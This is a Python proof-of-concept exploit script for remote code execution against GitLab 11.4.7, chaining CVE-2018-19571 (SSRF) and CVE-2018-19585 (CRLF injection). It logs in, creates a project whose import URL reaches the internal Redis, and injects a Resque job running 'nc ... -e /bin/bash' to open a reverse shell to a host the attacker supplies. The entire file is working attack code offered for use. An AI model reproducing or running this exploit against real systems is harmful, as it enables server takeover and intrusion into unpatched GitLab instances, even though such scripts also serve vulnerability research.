#!/usr/bin/python3 # Exploit Title: GitLab 11.4.7 RCE (POC) # Date: 24th December 2020 # Exploit Author: Sam Redmond, Tam Lai Yin # Software Link: https://gitlab.com/ # Environment: GitLab 11.4.7, community edition # CVE: CVE-2018-19571 + CVE-2018-19585 import requests from bs4 import BeautifulSoup import argparse import random parser = argparse.ArgumentParser(description='GitLab 11.4.7 RCE') parser.add_argument('-u', help='GitLab Username/Email', required=True) parser.add_argument('-p', help='Gitlab Password', required=True) parser.add_argument('-g', help='Gitlab URL (without port)', required=True) parser.add_argument('-l', help='reverse shell ip', required=True) parser.add_argument('-P', help='reverse shell port', required=True) args = parser.parse_args() username = args.u password = args.p gitlab_url = args.g + ":5080" local_ip = args.l local_port = args.P session = requests.Session() # Get Authentication Token r = session.get(gitlab_url + "/users/sign_in") soup = BeautifulSoup(r.text, features="lxml") token = soup.findAll('meta')[16].get("content") print(f"[+] authenticity_token: {token}") login_form = { "authenticity_token": token, "user[login]": username, "user[password]": password, "user[remember_me]": "0" } r = session.post(f"{gitlab_url}/users/sign_in", data=login_form) if r.status_code != 200: exit(f"Login Failed:{r.text}") # Create project import_url = "git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2F.git" project_name = f'project{random.randrange(1, 10000)}' project_url = f'{gitlab_url}/{username}' print(f"[+] Creating project with random name: {project_name}") form = """\nmulti sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|""" + f'nc {local_ip} {local_port} -e /bin/bash' + """ \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1608799993.1234567,\\"enqueued_at\\":1608799993.1234567}" exec exec exec\n""" r = session.get(f"{gitlab_url}/projects/new") soup = BeautifulSoup(r.text, features="lxml") namespace_id = soup.find( 'input', {'name': 'project[namespace_id]'}).get('value') project_token = soup.findAll('meta')[16].get("content") project_token = project_token.replace("==", "%3D%3D") project_token = project_token.replace("+", "%2B") payload = f"utf8=%E2%9C%93&authenticity_token={project_token}&project%5Bimport_url%5D={import_url}{form}&project%5Bci_cd_only%5D=false&project%5Bname%5D={project_name}&project%5Bnamespace_id%5D={namespace_id}&project%5Bpath%5D={project_name}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0" cookies = { 'sidebar_collapsed': 'false', 'event_filter': 'all', 'hide_auto_devops_implicitly_enabled_banner_1': 'false', '_gitlab_session': session.cookies['_gitlab_session'], } headers = { 'User-Agent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Referer': f'{gitlab_url}/projects', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '398', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', } print("[+] Running Exploit") r = session.post( gitlab_url+'/projects', data=payload, cookies=cookies, headers=headers, verify=False) if "The change you requested was rejected." in r.text: exit('Exploit failed, check input params') print('[+] Exploit completed successfully!')